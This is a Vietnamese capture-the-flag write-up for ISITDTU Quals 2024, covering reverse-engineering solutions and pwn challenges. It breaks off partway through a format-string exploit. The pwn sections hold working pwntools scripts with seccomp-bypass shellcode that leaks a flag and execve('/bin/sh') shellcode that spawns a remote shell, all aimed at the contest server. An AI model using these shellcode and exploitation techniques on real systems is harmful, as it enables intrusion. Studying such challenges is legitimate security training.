Contents

ISITDTU Quals 2024

Solutions for some challenges in ISITDTU Quals 2024

ISITDTU Quals 2024

rev/animal

Challenge Information
  • 31 solves / 100 pts / by kinjazz
  • Given files: animal.7z
  • Description: Find the hidden animal

Solution

Đề bài cho chúng ta một file PE64. Mở bằng IDA64, tổng quan chương trình sẽ như sau

Chương trình yêu cầu nhập flag có độ dài 36 ký tự, trong đó có điều kiện check ở một số idex cụ thể.

Khi click vào hàm check_flag, ta nhận được thông báo lỗi như sau

Qua tab IDA View chế độ non-graph, ta thấy đây chỉ là một lệnh gọi hàm bình thường

Vậy mình sẽ debug từng dòng và sửa các kết quả check để chương trình tới được đến đoạn này. Đây là chương trình khi mình nhảy vào rax

Ấn phím p để create function và thu được đống mã giả của hàm này như sau

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
_BOOL8 __fastcall sub_21871F785(char *a1)
{
    [...]

  v2 = a1[27];
  v3 = a1[1];
  v4 = a1[32];
  v5 = a1[8];
  v6 = a1[29];
  if ( v5 * v3 + v4 * v2 * a1[25] - v6 != 538738 )
    return 0i64;
  v7 = a1[4];
  v8 = a1[10];
  v9 = a1[20];
  if ( a1[7] + v9 * v8 * v7 - a1[6] - a1[11] != 665370 )
    return 0i64;
  v10 = a1[30];
  if ( a1[14] + (a1[16] - 1) * a1[31] - v10 * a1[22] != -2945 )
    return 0i64;
  v11 = a1[18];
  v12 = a1[33];
  if ( v12 + a1[3] - a1[9] - v11 - a1[11] - v7 != -191 )
    return 0i64;
  if ( v3 + v10 + v11 + a1[25] * v6 - v5 != 4853 )
    return 0i64;
  v13 = a1[7];
  v14 = a1[13];
  if ( v14 + a1[5] - v13 * a1[14] * a1[23] * a1[2] != -86153321 )
    return 0i64;
  v15 = a1[9];
  if ( v14 + v15 * a1[5] * a1[12] + v2 * v8 != 873682 )
    return 0i64;
  v16 = v15 * a1[21];
  v17 = a1[6];
  v18 = v11 * v16;
  v19 = a1[22];
  if ( v19 + a1[3] + v18 - v17 != 451644 )
    return 0i64;
  v20 = a1[24];
  if ( a1[21] + a1[34] + v20 + v4 * a1[23] - v7 != 9350 )
    return 0i64;
  v21 = a1[17];
  v22 = a1[19];
  v29 = a1[35];
  v28 = a1[26];
  if ( v20 + v29 + a1[17] - v22 - v28 - v17 != 27 )
    return 0i64;
  v23 = a1[15];
  if ( a1[14] + a1[13] + v23 + a1[23] * v22 - a1[3] == 11247
    && (v24 = v13 * a1[12], v25 = a1[2], v25 + v21 + v24 - v23 - a1[21] == 13297)
    && (v26 = *a1, v5 + v29 + v28 + a1[28] - v26 - v9 == 266)
    && v25 + v21 + v26 + a1[12] * a1[28] - v3 == 10422
    && v19 + v23 + a1[5] * v22 - a1[34] - a1[11] == 9883 )
  {
    return v8 * v12 + a1[16] * (1 - v9) - v26 == -5604;
  }
  else
  {
    return 0i64;
  }
}

Tới đây chúng ta sẽ biết được luôn phải dùng Z3 để tìm ra flag. Lời giải của mình như sau

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
from z3 import *

solver = Solver()

flag = [Int(f'flag[{i}]') for i in range(36)]

for i in range(36):
    solver.add(flag[i] >= 0, flag[i] <= 128)

solver.add(flag[0] == ord('I'))
solver.add(flag[1] == ord('S'))
solver.add(flag[2] == ord('I'))
solver.add(flag[3] == ord('T'))
solver.add(flag[4] == ord('D'))
solver.add(flag[5] == ord('T'))
solver.add(flag[6] == ord('U'))
solver.add(flag[7] == ord('{'))
solver.add(flag[8] == 0x61)
solver.add(flag[17] == 0x63)
solver.add(flag[18] == 0x61)
solver.add(flag[19] == 0x74)
solver.add(flag[33] == flag[34])
solver.add(flag[35] == ord('}'))

solver.add(flag[22] + flag[3] + flag[18] * flag[9] * flag[21] - flag[6] == 451644)
solver.add(flag[24] + flag[35] + flag[17] - flag[19] - flag[26] - flag[6] == 27)
solver.add(flag[8] * flag[1] + flag[32] * flag[27] * flag[25] - flag[29] == 0x83872)
solver.add(flag[7] + flag[20] * flag[10] * flag[4] - flag[6] - flag[11] == 665370)
solver.add(flag[14] + (flag[16] - 1) * flag[31] - flag[30] * flag[22] == -2945)
solver.add(flag[33] + flag[3] - flag[9] - flag[18] - flag[11] - flag[4] == -191)
solver.add(flag[1] + flag[30] + flag[18] + flag[25] * flag[29] - flag[8] == 4853)
solver.add(flag[13] + flag[5] - flag[7] * flag[14] * flag[23] * flag[2] == -86153321)
solver.add(flag[13] + flag[9] * flag[5] * flag[12] + flag[27] * flag[10] == 873682)
solver.add(flag[21] + flag[34] + flag[24] + flag[32] * flag[23] - flag[4] == 9350)
solver.add(flag[14] + flag[13] + flag[15] + flag[23] * flag[19] - flag[3] == 11247)
solver.add(flag[2] + flag[17] + flag[7] * flag[12] - flag[15] - flag[21] == 13297)
solver.add(flag[8] + flag[35] + flag[26] + flag[28] - flag[0] - flag[20] == 266)
solver.add(flag[2] + flag[17] + flag[0] + flag[12] * flag[28] - flag[1] == 10422)
solver.add(flag[22] + flag[15] + flag[5] * flag[19] - flag[34] - flag[11] == 9883)
solver.add(flag[10] * flag[33] + flag[16] * (1 - flag[20]) - flag[0] == -5604)

if solver.check() == sat:
    model = solver.model()
    print(model)
else:
    print("0xDEADBEEF")

flag[0] = 73
flag[1] = 83
flag[2] = 73
flag[3] = 84
flag[4] = 68
flag[5] = 84
flag[6] = 85
flag[7] = 123
flag[8] = 97
flag[17] = 99
flag[18] = 97
flag[19] = 116
flag[35] = 125
flag[33] = 33
flag[13] = 100
flag[12] = 108
flag[26] = 117
flag[22] = 110
flag[21] = 49
flag[20] = 95
flag[27] = 114
flag[23] = 95
flag[29] = 97
flag[10] = 103
flag[11] = 48
flag[32] = 97
flag[15] = 110
flag[31] = 101
flag[16] = 95
flag[30] = 114
flag[9] = 95
flag[14] = 101
flag[28] = 95
flag[25] = 48
flag[34] = 33
flag[24] = 121

print("".join([chr(i) for i in flag]))

Flag thu được là ISITDTU{a_g0lden_cat_1n_y0ur_area!!}

rev/re01

Challenge Information
  • 46 solves / 100 pts
  • Given files: re01.zip
  • Description: VC++ ;)

Solution

Đề bài cho chúng ta một file PE64, mở bằng IDA64, quan sát tổng thể ta có thể thấy chương trình dùng SHA1 để hash input và so sánh với chuỗi hash eeeddf4ae0c3364f189a37f79c9d7223a1d60ac7

Sau một hồi thử crack chuỗi hash kia không được, mình tiếp tục đi xem có function nào đáng nghi không. Và đây chính là hàm mà mình chú ý tới TlsCallback_0

Chương trình sử dụng anti-debug và gọi nó trong hàm TLS. Mình đặt breakpoint ở đoạn check IsDebuggerPresent và sửa giá trị cho ZF để chương trình tiếp tục được đi vào trong hàm sub_140004000

Chúng ta dễ dàng nhận ra input length = 58. Mình sẽ tạo mới input và debug lại. Kiểm tra các giá trị ở đoạn so sánh, ta biết được điều kiện check flag sẽ là

1
flag[i] ^ 0x35 == v7[i] 

Dễ dàng lấy toàn bộ giá trị của v7 và xor ngược lại, ta thu được flag ISITDTU{Congrats_You_Solved_TLS_Callback_Re01_Have_Fun_:)}

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
X = [0x7C, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x7C, 0x00, 
    0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x71, 0x00, 0x00, 0x00, 
    0x61, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x4E, 0x00, 
    0x00, 0x00, 0x76, 0x00, 0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 
    0x5B, 0x00, 0x00, 0x00, 0x52, 0x00, 0x00, 0x00, 0x47, 0x00, 
    0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x41, 0x00, 0x00, 0x00, 
    0x46, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x00, 0x00, 0x6C, 0x00, 
    0x00, 0x00, 0x5A, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 
    0x6A, 0x00, 0x00, 0x00, 0x66, 0x00, 0x00, 0x00, 0x5A, 0x00, 
    0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 
    0x50, 0x00, 0x00, 0x00, 0x51, 0x00, 0x00, 0x00, 0x6A, 0x00, 
    0x00, 0x00, 0x61, 0x00, 0x00, 0x00, 0x79, 0x00, 0x00, 0x00, 
    0x66, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x00, 0x00, 0x76, 0x00, 
    0x00, 0x00, 0x54, 0x00, 0x00, 0x00, 0x59, 0x00, 0x00, 0x00, 
    0x59, 0x00, 0x00, 0x00, 0x57, 0x00, 0x00, 0x00, 0x54, 0x00, 
    0x00, 0x00, 0x56, 0x00, 0x00, 0x00, 0x5E, 0x00, 0x00, 0x00, 
    0x6A, 0x00, 0x00, 0x00, 0x67, 0x00, 0x00, 0x00, 0x50, 0x00, 
    0x00, 0x00, 0x05, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 
    0x6A, 0x00, 0x00, 0x00, 0x7D, 0x00, 0x00, 0x00, 0x54, 0x00, 
    0x00, 0x00, 0x43, 0x00, 0x00, 0x00, 0x50, 0x00, 0x00, 0x00, 
    0x6A, 0x00, 0x00, 0x00, 0x73, 0x00, 0x00, 0x00, 0x40, 0x00, 
    0x00, 0x00, 0x5B, 0x00, 0x00, 0x00, 0x6A, 0x00, 0x00, 0x00, 
    0x0F, 0x00, 0x00, 0x00, 0x1C, 0x00, 0x00, 0x00, 0x48, 0x00, 
    0x00, 0x00]

flag = "".join([chr(0x35 ^ int.from_bytes(X[i:i+4], "little")) for i in range(0, len(X), 4)])
print(flag)

rev/re02

Challenge Information
  • 29 solves / 100 pts
  • Given files: re02.zip
  • Description: NES, good luck ;)

Solution

Đề bài cho chúng ta một file re02.nes, đây là một Nintendo ROM image file. Sau một hồi tìm kiếm, mình tìm được tool FCEUX có thể emulate và debug file này.

Mở chương trình lên thì thấy một màn hình đen kịt

Vào tab Debug → Hex Editor thấy 3 byte đầu nhảy liên tục, chứng tỏ rằng chương trình vẫn đang hoạt động bình thường.

Sau khi thử nhập một vài phím và check toàn bộ dữ liệu trong tab Hex Editor, mình phát hiện input được xuất hiện ở các địa chỉ:

  • 0x0300
  • 0x0B00
  • 0x1300
  • 0x1B00

và có một số đặc điểm như sau:

  • Độ dài tối đa input là 16
  • Có 7 phím được chấp nhận và nó sẽ được map như sau:
    • sa
    • du
    • ft
    • up arrown
    • right arrowi
    • down arrowh
    • left arrowl

Sau khi đã biết chỗ nhập input thì chỗ check flag sẽ nằm ở đâu?

Mình vào tab Debug → Debugger, tìm đoạn code nào có chứa 300 (địa chỉ input) hoặc lệnh cmp thì ra được đoạn này

Nếu tinh ý, ta có thể nhận ra các block check input khá tương tự nhau. Lấy các giá trị ở địa chỉ 300, 301 và 302 cộng với nhau, sau đó so sánh với 0x4A. Ví dụ cho block check đầu tiên sẽ là

1
input[0] + input[1] + input[2] == 0x4A

Thực hiện tương tự cho các block sau, chúng ta có thể tìm ra được mapped_input bằng Z3

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from z3 import * 

solver = Solver()
flag = [BitVec(f'flag[{i}]', 8) for i in range(16)]

for i in range(16):
    solver.add(Or((flag[i] == ord('t')), (flag[i] == ord('u')), (flag[i] == ord('a')), (flag[i] == ord('n')), (flag[i] == ord('l')), (flag[i] == ord('i')), (flag[i] == ord('h'))))

solver.add(flag[0] + flag[1] + flag[2] == 0x4A)
solver.add(flag[1] + flag[2] + flag[3] == 0x44)
solver.add(flag[2] + flag[3] + flag[4] == 0x3B)
solver.add(flag[3] + flag[4] + flag[5] == 0x43)
solver.add(flag[4] + flag[5] + flag[6] == 0x43)
solver.add(flag[5] + flag[6] + flag[7] == 0x3F)
solver.add(flag[6] + flag[7] + flag[8] == 0x42)
solver.add(flag[7] + flag[8] + flag[9] == 0x3D)
solver.add(flag[8] + flag[9] + flag[10] == 0x43)
solver.add(flag[9] + flag[10] + flag[11] == 0x3F)
solver.add(flag[10] + flag[11] + flag[12] == 0x4A)
solver.add(flag[11] + flag[12] + flag[13] == 0x51)
solver.add(flag[12] + flag[13] + flag[14] == 0x4A)
solver.add(flag[13] + flag[14] + flag[15] == 0x44)

if solver.check() == sat:
    model = solver.model()
    res = ""
    for i in range(16):
        res += chr(model[flag[i]].as_long())
    print(res)
else:
    print("......")

Kết quả thu được là tuanlinhlinhtuan,** bây giờ ta chỉ cần nhập input đúng với các key đã được map sẽ có được flag là ISITDTU{Throw_back_the_nested_if_NES_have_funnnn_:)}

rev/The Chamber of Flag

Challenge Information

Solution

Đề bài cho chúng ta một file PE64, chạy thử chương trình, ta thấy có 2 option để lựa chọn:

  • login
    • input secret key
  • about

Mình thử nhập secret và nhận thấy:

  • Độ dài secret = 6
  • Nhập sai sẽ cho nhập tiếp

Mở file bằng IDA64, chương trình nhìn rất lớn và phức tạp. Mình nhảy qua tab string và nhận thấy chương trình có gọi các hàm encrypt của WinAPI.

Trace theo các hàm này, mình tìm ra được hàm sub_7FF6A0F51530 thực hiện việc mã hóa input và đi kiểm tra tính hợp lệ của nó.

Sau khi debug và decrypt AlgId, chúng ta biết được chương trình sử dụng hash SHA256. Thông tin chi tiết các bạn có thể đọc thêm ở đây https://learn.microsoft.com/en-us/windows/win32/api/bcrypt/nf-bcrypt-bcryptopenalgorithmprovider

Tiếp tục debug và ta lấy được checked_hash = 26F2D45844BFDBC8E5A2AE67149AA6C50E897A2A48FBF479D1BFB9F0D4E24544

Với input có độ dài 6 ký tự, mình sẽ dùng hashcat để bruteforce nhằm tìm ra giá trị tương ứng với mã hash này. Kết quả thu được là 808017

Đăng nhập thành công, chúng ta chọn option flag nhưng lại xuất hiện thông báo flag crashed.

Sau khi xref chuỗi trên, mình tìm ra được đoạn code có liên quan tới chuỗi trên ở đây.

Đi phân tích hàm sub_7FF7AFB110C8, ta thấy nó decrypt dữ liệu bằng thuật toán AES mode CBC.

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
__int64 __fastcall sub_7FF7AFB110C8(PUCHAR pbInput, __int64 a2, __int64 a3, UCHAR *a4, PUCHAR a5)
{
  char v7; // al
  unsigned __int64 v8; // rcx
  unsigned __int64 v9; // rcx
  char v10; // al
  char v11; // bl
  char v12; // al
  unsigned __int64 v13; // rcx
  unsigned __int64 v14; // rcx
  unsigned int v15; // ebx
  HANDLE ProcessHeap; // rax
  UCHAR *v17; // rbx
  HANDLE v18; // rax
  WCHAR pszProperty[2]; // [rsp+50h] [rbp-61h] BYREF
  int v21; // [rsp+54h] [rbp-5Dh]
  int v22; // [rsp+58h] [rbp-59h]
  int v23; // [rsp+5Ch] [rbp-55h]
  int v24; // [rsp+60h] [rbp-51h]
  int v25; // [rsp+64h] [rbp-4Dh]
  int v26; // [rsp+68h] [rbp-49h]
  WCHAR pszAlgId[2]; // [rsp+70h] [rbp-41h] BYREF
  int v28; // [rsp+74h] [rbp-3Dh]
  __int16 v29; // [rsp+78h] [rbp-39h]
  char v30; // [rsp+80h] [rbp-31h]
  char v31; // [rsp+81h] [rbp-30h]
  UCHAR pbInputa[4]; // [rsp+82h] [rbp-2Fh] BYREF
  int v33; // [rsp+86h] [rbp-2Bh]
  int v34; // [rsp+8Ah] [rbp-27h]
  int v35; // [rsp+8Eh] [rbp-23h]
  int v36; // [rsp+92h] [rbp-1Fh]
  int v37; // [rsp+96h] [rbp-1Bh]
  int v38; // [rsp+9Ah] [rbp-17h]
  int v39; // [rsp+9Eh] [rbp-13h]
  BCRYPT_ALG_HANDLE phAlgorithm; // [rsp+A8h] [rbp-9h] BYREF
  BCRYPT_KEY_HANDLE phKey; // [rsp+B0h] [rbp-1h] BYREF
  UCHAR pbOutput[4]; // [rsp+B8h] [rbp+7h] BYREF
  ULONG pcbResult; // [rsp+BCh] [rbp+Bh] BYREF
  ULONG v44; // [rsp+C0h] [rbp+Fh] BYREF

  phAlgorithm = 0i64;
  phKey = 0i64;
  *(_DWORD *)pbOutput = 0;
  v7 = 98;
  pcbResult = 0;
  *(_DWORD *)pszAlgId = '#\0b';                 // AES
  v8 = 0i64;
  v28 = 3211303;
  v29 = 0;
  while ( 1 )
  {
    pszAlgId[++v8] ^= v7;
    if ( v8 >= 3 )
      break;
    v7 = pszAlgId[0];
  }
  v29 = 0;
  if ( BCryptOpenAlgorithmProvider(&phAlgorithm, &pszAlgId[1], 0i64, 0) )
    return 0i64;
  v9 = 0i64;
  *(_DWORD *)pbInputa = 6881346;                // ChangingModeCBC
  v10 = 1;
  v31 = 0;
  v30 = 1;
  v33 = 6815840;
  v11 = 111;
  v34 = 6815855;
  v35 = 6684783;
  v36 = 7209036;
  v37 = 6553701;
  v38 = 4390978;
  v39 = 66;
  while ( 1 )
  {
    *(_WORD *)&pbInputa[2 * v9++] ^= v10;
    if ( v9 >= 0xF )
      break;
    v10 = v30;
  }
  HIWORD(v39) = 0;
  v12 = 41;
  *(_DWORD *)pszProperty = 6946857;
  v13 = 0i64;
  v21 = 4718657;
  v22 = 4653120;
  v23 = 4653120;
  v24 = 6553678;
  v25 = 5046342;
  v26 = 76;
  while ( 1 )
  {
    pszProperty[++v13] ^= v12;
    if ( v13 >= 0xC )
      break;
    v12 = pszProperty[0];
  }
  HIWORD(v26) = 0;
  if ( BCryptSetProperty(phAlgorithm, &pszProperty[1], pbInputa, 0x20u, 0) )
    return 0i64;
  *(_DWORD *)pszProperty = 2097263;             // objectLength
  v21 = 327693;
  v14 = 0i64;
  v22 = 786442;
  v23 = 2293787;
  v24 = 65546;
  v25 = 1769480;
  v26 = 7;
  while ( 1 )
  {
    pszProperty[++v14] ^= v11;
    if ( v14 >= 0xC )
      break;
    v11 = pszProperty[0];
  }
  HIWORD(v26) = 0;
  if ( BCryptGetProperty(phAlgorithm, &pszProperty[1], pbOutput, 4u, &pcbResult, 0) )
    return 0i64;
  v15 = *(_DWORD *)pbOutput;
  ProcessHeap = GetProcessHeap();
  v17 = (UCHAR *)HeapAlloc(ProcessHeap, 0, v15);
  if ( !v17 )
    return 0i64;
  if ( BCryptGenerateSymmetricKey(phAlgorithm, &phKey, v17, *(ULONG *)pbOutput, &pbSecret, 0x20u, 0) )
    return 0i64;
  v44 = 16;
  if ( BCryptDecrypt(phKey, pbInput, 0x10u, 0i64, a4, 0x10u, a5, 0x10u, &v44, 0) )
    return 0i64;
  BCryptDestroyKey(phKey);
  BCryptCloseAlgorithmProvider(phAlgorithm, 0);
  v18 = GetProcessHeap();
  HeapFree(v18, 0, v17);
  return 1i64;
}

Nhưng khi chạy đến cuối hàm thì gặp lỗi này.

Lỗi này gây ra do rcx chưa trỏ đúng vào vị trí bộ nhớ.

Lúc này, mình tìm xung quanh các thanh ghi rcx để xem nó bị ảnh hưởng bởi thanh ghi nào. Ta thấy có raxrbx tác động tới nó

Do rax trên stack nên mình bỏ qua, tìm xung quanh giá trị của rbx, ta thấy có đống dữ liệu rất khả nghi.

Đưa rcx trỏ về đây, chạy nốt chương trình và thu được flag ISITDTU{STATIC_STRUCt_INITIALIZATION_FAiLED}

pwn/shellcode 1

Challenge Information
  • 68 solves / 100 pts / by code016hiro
  • Given files: shellcode1.rar
  • Description: nc 152.69.210.130 3001

Solution

Về tổng quan, chương trình đọc flag, lưu nó trên 1 vùng nhớ được mmap rồi xóa flag đó đi. Chương trình tiếp tục mmap một vùng nhớ mới cho shellcode với full quyền rwx và cho phép chúng ta chạy shellcode đó.

Khi nhảy vào shellcode, check vmmap, ta có thể thấy được vùng nhớ lưu flag nằm ngay dưới shellcode và cách nhau 0x1000 byte. Vậy nếu ta sử dụng được syscall write thì hoàn toàn có thể đọc được flag.

Kiểm tra seccomp, ta thấy các syscall như read, write, open, execve, openat đều không được phép sử dụng.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
❯ seccomp-tools dump ./challenge
Some gift for you: 0x7fd1042216f0

 line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x00 0x0a 0xc000003e  if (A != ARCH_X86_64) goto 0012
 0002: 0x20 0x00 0x00 0x00000000  A = sys_number
 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005
 0004: 0x15 0x00 0x07 0xffffffff  if (A != 0xffffffff) goto 0012
 0005: 0x15 0x06 0x00 0x00000000  if (A == read) goto 0012
 0006: 0x15 0x05 0x00 0x00000001  if (A == write) goto 0012
 0007: 0x15 0x04 0x00 0x00000002  if (A == open) goto 0012
 0008: 0x15 0x03 0x00 0x0000003b  if (A == execve) goto 0012
 0009: 0x15 0x02 0x00 0x000000f0  if (A == mq_open) goto 0012
 0010: 0x15 0x01 0x00 0x00000101  if (A == openat) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x06 0x00 0x00 0x00000000  return KILL

Để bypass được các hạn chế phía trên, mình sẽ sử dụng syscall writev thay thế cho write để đọc flag.

1
ssize_t writev(int fd, const struct iovec *iov, int iovcnt)

trong đó iovec có cấu trúc như sau

1
2
3
4
struct iovec {
   void  *iov_base;    /* Starting address */
   size_t iov_len;     /* Number of bytes to transfer */
};

Vậy mình sẽ chỉ định cho iov_base là địa chỉ vùng nhớ chứa flag, iov_len là 0x100.

Khi nhảy vào shellcode, rdx chứa giá trị của địa chỉ shellcode. Vậy nên địa chỉ của vùng nhớ flag sẽ là rdx + 0x1000.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3

from pwn import *

exe = ELF("./challenge_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

context.update(os = "linux", arch = "amd64", log_level = "debug", terminal = "cmd.exe /c start wsl".split(), binary = exe)

# p = process(exe.path)
p = remote("152.69.210.130", 3001)

sl  = p.sendline
sa  = p.sendafter
sla = p.sendlineafter
rl  = p.recvline
ru  = p.recvuntil

ru(b"Some gift for you: ")

libc_leak = int(rl().strip(), 16) 
libc_base = libc_leak - libc.symbols["printf"]
log.info(f"libc leak = {hex(libc_leak)}")

payload = asm("""
    add rdx, 0x1000      
    mov rax, 0x100
    push rax         
    push rdx          
    mov rdi, 1 
    mov rsi, rsp 
    mov rdx, 1                                 
    mov rax, 0x14
    syscall           
""")

p.send(payload)

p.interactive() 

Flag là ISITDTU{061e8c26e3cf9bfad4e22879994048c8257b17d8}

pwn/shellcode 2

Challenge Information
  • 61 solves / 100 pts / by code016hiro
  • Given files: shellcode2.rar
  • Description: nc 152.69.210.130 3002

Solution

Decompile file đề bài cho bằng IDA64, ta có thể thấy chương trình mmap cho vùng nhớ ở địa chỉ 0xAABBCC00 kích thước 0x1000 byte với full quyền rwx.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-4h]

  init(argc, argv, envp);
  read_flag();
  addr = mmap((void *)0xAABBCC00LL, 0x1000uLL, 7, 34, -1, 0LL);
  if ( addr == (void *)-1LL )
  {
    perror("mmap");
    return 1;
  }
  else
  {
    puts(">");
    read(0, addr, 0x1000uLL);
    for ( i = 0; i <= 4095; ++i )
    {
      if ( (*((_BYTE *)addr + i) & 1) == 0 )
        *((_BYTE *)addr + i) = 0x90;
    }
    ((void (*)(void))addr)();
    return 0;
  }
}

Những opcode chẵn trong shellcode sẽ bị thay đổi thành nop làm cho nó không hoạt động được.

Có một bài write-up của giải UIUCTF 2022 nói rất chi tiết về việc build lại toàn bộ các instruction với opcode lẻ cần thiết cho việc lấy shell mà các bạn có thể tham khảo. Mình sẽ giải bài này với hướng tiếp cận khác so với write-up phía trên.

Chúng ta có thể thấy, khi chương trình chuẩn bị nhảy vào shellcode, các giá trị của các thanh ghi như rax, rdi, rsirdx đều hợp lệ cho việc gọi syscall read.

Vậy payload đầu tiên chúng ta chỉ cần gọi syscall để chương trình tiếp tục được nhập input lần thứ hai. Vì đã pass qua vòng for check opcode chẵn lẻ, nên tại lần nhập thứ hai này, ta chỉ cần viết shellcode lấy shell như thông thường.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3

from pwn import *

exe = ELF("./challenge") 
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-2.35.so")

context.update(os = "linux", arch = "amd64", log_level = "debug", terminal = "cmd.exe /c start wsl".split(), binary = exe)

# p = process(exe.path)
p = remote("152.69.210.130", 3002)

sl  = p.sendline
sa  = p.sendafter
sla = p.sendlineafter
rl  = p.recvline
ru  = p.recvuntil

payload1 = asm("""
    syscall 
""")
sa(b">\n", payload1)

payload2 = asm("""
    nop
    nop
    mov rax, 0x68732f6e69622f
    push rax
    mov rdi, rsp 
    xor rsi, rsi
    xor rdx, rdx
    mov rax, 0x3b
    syscall
""")
p.send(payload2)

p.interactive() 

Flag là ISITDTU{95acf3a6b3e1afc243fbad70fbd60a6be00541c62c6d651d1c10179b41113bda}

pwn/Game of Luck

Challenge Information
  • 43 solves / 100 pts
  • Given files: chal
  • Description: nc 152.69.210.130 2004

Solution

Overview & Find bug

Chương trình chính sau khi được rename lại như sau

1
2
3
4
5
6
7
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  init();
  welcome();
  get_random_number();
  game();
}

trong đó hàm game là hàm xử lý chính

Nhìn tổng quan, có 2 lựa chọn cho người chơi:

  1. Lấy giá trị ngẫu nhiên trong khoảng [0, 100] qua hàm get_random_number.
  2. Chơi game đoán giá trị ngẫu nhiên thông qua hàm play.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
__int64 play()
{
  unsigned int v0; // eax
  int random_number; // [rsp+8h] [rbp-8h]

  v0 = clock();
  srand(v0);
  random_number = rand();
  printf("Enter your guess: ");
  if ( get_int_number() != random_number )
  {
    puts("Incorrect!");
    exit(0);
  }
  puts("Correct!");
  if ( ++point == 10 )
  {
    enter_name();                               // fmt bug
    exit(0);
  }
  return 0LL;
}

Ở trong hàm play này, ta thấy được có bug Format String ở hàm enter_name.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
__int64 enter_name()
{
  char buf[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("Enter your name: ");
  read(0, buf, 216uLL);
  printf(buf, point);
  return 0LL;
}

Exploit

Chúng ta chỉ có 1 bug duy nhất FSB trong hàm play. Mình sẽ tiếp tục tìm kiếm xem có cách nào để tái sử dụng bug này được nhiều lần hay không.

Quay về hàm game, đây là đoạn code khiến mình quan tâm nhất.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
  unsigned int choice; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  while ( 1 )
  {
    while ( 1 )
    {
      printf("Score: %u points\n", point);
      puts("0. Lucky Number\n1. Play\n2. Exit");
      __isoc99_scanf("%1u", &choice);           // bypass with "-"
      while ( getchar() != 10 )
        ;
      if ( choice != 68 )
        break;
      enter_name();                             // choice = 68
    }
    [...]
  }

Nhập duy nhất một chữ số unsigned int, nghĩa là chỉ được nhập trong khoảng [0, 9]. Vì vậy, việc choice = 68 là bất khả thi. Có 2 điều chúng ta cần quan tâm ở đây đó là:

  1. Nếu nhập input không đúng với fmt của hàm scanf thì choice sẽ không bị thay đổi giá trị.
  2. Đứng ở góc độ hàm main nhìn xuống, giá trị choice trong hàm game nằm ở vị trí rbp-0xC, đây cũng chính là địa chỉ chứa giá trị random của hàm get_random_number.

Tới đây thì ý tưởng đã rõ. Chúng ta sẽ spam mãi cho tới khi lấy được lucky number = 68. Tiếp tục nhập choice với - để sử dụng được bug FMT nhiều lần.

Bên cạnh đó, nhìn vào hàm get_int_number sẽ thấy nó cho phép nhập vào mảng buf. Ta sẽ overwrite atoi@got thành system, khi đó atoi("/bin/sh") sẽ là system("/bin/sh").

1
2
3
4
5
6
7
8
9
int get_int_number()
{
  char buf[24]; // [rsp+0h] [rbp-20h] BYREF
  unsigned __int64 v2; // [rsp+18h] [rbp-8h]

